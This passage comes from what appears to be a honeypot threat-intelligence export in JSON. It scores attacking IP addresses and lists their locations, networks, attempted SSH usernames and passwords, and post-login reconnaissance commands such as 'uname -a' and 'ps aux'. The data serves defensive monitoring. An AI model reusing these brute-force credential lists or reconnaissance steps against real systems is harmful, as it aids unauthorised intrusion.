        "Cowrie": 68,
        "Suricata": 30
      }
    },
    "3.9.131.210": {
      "attack_count": 62,
      "first_seen": "2026-03-10T17:24:52.923Z",
      "last_seen": "2026-03-10T17:26:59.681Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T17:24:52.923000+00:00",
        "last_seen_30d": "2026-03-10T17:30:10.259000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 38,
        "Honeytrap": 4
      }
    },
    "160.119.76.200": {
      "attack_count": 58,
      "first_seen": "2026-03-16T04:18:14.088Z",
      "last_seen": "2026-03-31T17:22:44.953Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "emo",
        "newfpbx",
        "system",
        "freepbxuser",
        "hellj",
        "pbxsystem",
        "rpc"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2025@Fuck@allPBX",
        "ItsemoemoWashere2023support",
        "Java@/gg9@5",
        "Sam4z1ngw0nd3r5Z",
        "ZabTharwat@2021Emo",
        "love@automn",
        "m@XiC0oC1Ty",
        "pbx@01011"
      ],
      "commands_executed": [
        "uname -a; free -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182408,
        "days_active_30d": 29,
        "ports_targeted_30d": 68109,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-03T01:18:11.842000+00:00",
        "last_seen_30d": "2026-03-31T17:38:02.790000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 159360,
        "Honeytrap": 22887,
        "H0neytr4p": 86,
        "Cowrie": 58,
        "Sentrypeer": 8,
        "Miniprint": 3,
        "ConPot": 2,
        "Redishoneypot": 2,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "39.59.90.104": {
      "attack_count": 50,
      "first_seen": "2026-03-29T21:37:35.208Z",
      "last_seen": "2026-03-29T21:42:59.672Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Faisalabad",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T21:37:35.208000+00:00",
        "last_seen_30d": "2026-03-29T21:44:06.440000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "67.102.7.208": {
      "attack_count": 48,
      "first_seen": "2026-03-26T01:48:28.802Z",
      "last_seen": "2026-03-26T01:53:39.989Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T01:48:28.802000+00:00",
        "last_seen_30d": "2026-03-26T01:54:41.171000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "36.154.178.90": {
      "attack_count": 45,
      "first_seen": "2026-03-07T01:43:58.123Z",
      "last_seen": "2026-03-24T15:46:43.104Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech123@",
        "Kelltech2025#",
        "Kelltech2025@",
        "Kelltech2026@",
        "Kelltech@123",
        "Kelltech@2025",
        "Kelltech@2026",
        "kelltech123",
        "kelltech@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.7,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T01:43:58.123000+00:00",
        "last_seen_30d": "2026-03-24T15:47:49.718000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 29
      }
    },
    "81.29.142.6": {
      "attack_count": 41,
      "first_seen": "2026-03-04T19:43:47.734Z",
      "last_seen": "2026-03-19T13:01:16.286Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1",
        "Accept-Language: en-US;q=0.8,en;q=0.7"
      ],
      "passwords_attempted": [
        "Accept-Encoding: identity",
        "Host: 172.105.186.117",
        "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 YaBrowser/21.2.4.172 Yowser/2.5 Safari/537.36"
      ],
      "commands_executed": [
        "KHTML, like Gecko",
        "",
        "Accept-Language: en-US",
        "Accept-Language: en-US;q=0.8,en;q=0.7",
        "Chrome/88.0.4324.182 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
        "Win64",
        "Windows NT 6.1",
        "Windows NT 6.1 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 83.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3032,
        "days_active_30d": 26,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-02T03:48:13+00:00",
        "last_seen_30d": "2026-03-27T03:04:01.809000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1987,
        "Honeytrap": 861,
        "Tanner": 47,
        "Cowrie": 41,
        "Dionaea": 23,
        "H0neytr4p": 17,
        "Ipphoney": 14,
        "Mailoney": 12,
        "Redishoneypot": 12,
        "Ciscoasa": 10,
        "ElasticPot": 6,
        "ConPot": 2
      }
    },
    "172.210.53.196": {
      "attack_count": 38,
      "first_seen": "2026-03-15T15:34:22.838Z",
      "last_seen": "2026-03-15T17:56:03.401Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "root",
        "root123"
      ],
      "commands_executed": [
        "ps aux | head -10"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:34:22.838000+00:00",
        "last_seen_30d": "2026-03-15T17:57:04.903000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "182.116.244.231": {
      "attack_count": 30,
      "first_seen": "2026-03-11T02:18:16.102Z",
      "last_seen": "2026-03-11T02:21:30.623Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:18:16.102000+00:00",
        "last_seen_30d": "2026-03-11T02:22:37.259000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "188.166.214.50": {
      "attack_count": 30,
      "first_seen": "2026-03-03T13:02:34.748Z",
      "last_seen": "2026-03-03T13:06:44.574Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:02:34.748000+00:00",
        "last_seen_30d": "2026-03-03T13:07:54.620000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "38.188.160.106": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:01:45.998Z",
      "last_seen": "2026-03-11T00:34:21.111Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12021986",
        "180884",
        "guildwars",
        "tottenham"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:01:45.998000+00:00",
        "last_seen_30d": "2026-03-11T00:35:24.562000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "45.87.249.40": {
      "attack_count": 22,
      "first_seen": "2026-03-03T22:29:24.910Z",
      "last_seen": "2026-03-30T21:24:42.043Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T22:29:24.910000+00:00",
        "last_seen_30d": "2026-03-31T23:24:29.745000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 29,
        "Cowrie": 22,
        "Dionaea": 6
      }
    },
    "174.138.25.157": {
      "attack_count": 17,
      "first_seen": "2026-03-02T07:33:37.420Z",
      "last_seen": "2026-03-02T07:40:22.625Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234567890",
        "admin123",
        "password1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:33:23.562000+00:00",
        "last_seen_30d": "2026-03-02T07:41:23.224000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11
      }
    },
    "139.0.12.92": {
      "attack_count": 16,
      "first_seen": "2026-03-02T01:34:15.112Z",
      "last_seen": "2026-03-27T17:41:15.819Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Cipinang Cempedak",
      "asn": 9905,
      "as_org": "Linknet ASN",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:34:15.112000+00:00",
        "last_seen_30d": "2026-03-27T17:42:25.981000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 16
      }
    },
    "45.205.1.5": {
      "attack_count": 14,
      "first_seen": "2026-03-03T16:30:11.765Z",
      "last_seen": "2026-03-03T22:48:01.962Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18373,
        "days_active_30d": 30,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T00:00:34+00:00",
        "last_seen_30d": "2026-03-31T22:21:49.961000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9851,
        "Honeytrap": 8508,
        "Cowrie": 14
      }
    },
    "171.5.190.202": {
      "attack_count": 12,
      "first_seen": "2026-03-23T22:12:03.692Z",
      "last_seen": "2026-03-23T22:12:37.383Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Amphoe Aranyaprathet",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T22:12:03.692000+00:00",
        "last_seen_30d": "2026-03-23T22:13:47.325000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "2.57.121.17": {
      "attack_count": 12,
      "first_seen": "2026-03-18T22:04:11.407Z",
      "last_seen": "2026-03-31T01:03:25.097Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T22:04:11.407000+00:00",
        "last_seen_30d": "2026-03-31T01:04:33.814000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "118.163.132.212": {
      "attack_count": 10,
      "first_seen": "2026-03-25T16:14:34.140Z",
      "last_seen": "2026-03-25T16:15:48.149Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "ikwb",
        "vitess"
      ],
      "passwords_attempted": [
        "ikwb",
        "vitess"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T16:14:34.140000+00:00",
        "last_seen_30d": "2026-03-25T16:16:51.932000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "192.253.248.47": {
      "attack_count": 10,
      "first_seen": "2026-03-05T20:56:17.957Z",
      "last_seen": "2026-03-06T03:50:11.300Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2024kelltech",
        "kelltech!1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:23:04.810000+00:00",
        "last_seen_30d": "2026-03-06T03:51:12.566000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Heralding": 2
      }
    },
    "34.62.183.110": {
      "attack_count": 10,
      "first_seen": "2026-03-10T09:23:16.773Z",
      "last_seen": "2026-03-10T09:23:30.465Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:23:16.773000+00:00",
        "last_seen_30d": "2026-03-10T09:24:33.763000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "38.188.160.163": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:13:25.463Z",
      "last_seen": "2026-03-10T23:19:06.233Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Robert",
        "ragondin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:13:25.463000+00:00",
        "last_seen_30d": "2026-03-10T23:20:11.775000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "146.185.219.13": {
      "attack_count": 8,
      "first_seen": "2026-03-04T19:03:11.697Z",
      "last_seen": "2026-03-10T06:57:25.852Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": null,
      "asn": 202422,
      "as_org": "G-Core Labs S.A.",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.4,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:50:45.632000+00:00",
        "last_seen_30d": "2026-03-30T06:03:05.133000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 8
      }
    },
    "216.218.206.67": {
      "attack_count": 7,
      "first_seen": "2026-03-15T11:34:03.154Z",
      "last_seen": "2026-03-15T11:34:03.327Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 97.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 499,
        "days_active_30d": 30,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T07:54:26+00:00",
        "last_seen_30d": "2026-03-31T12:18:20.636000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 330,
        "Honeytrap": 88,
        "Ciscoasa": 39,
        "H0neytr4p": 11,
        "Miniprint": 9,
        "Cowrie": 7,
        "CitrixHoneypot": 6,
        "Dionaea": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "Ipphoney": 1
      }
    },
    "66.132.195.33": {
      "attack_count": 6,
      "first_seen": "2026-03-27T08:36:52.472Z",
      "last_seen": "2026-03-27T08:37:31.121Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-27T08:36:52.472000+00:00",
        "last_seen_30d": "2026-03-28T18:49:10.988000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 2
      }
    },
    "45.84.107.128": {
      "attack_count": 5,
      "first_seen": "2026-03-05T03:32:28.167Z",
      "last_seen": "2026-03-05T03:32:32.951Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ph#na#do!freepbx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 26,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:29:41.371000+00:00",
        "last_seen_30d": "2026-03-27T07:12:53.720000+00:00",
        "days_since_last_seen": 4
      },
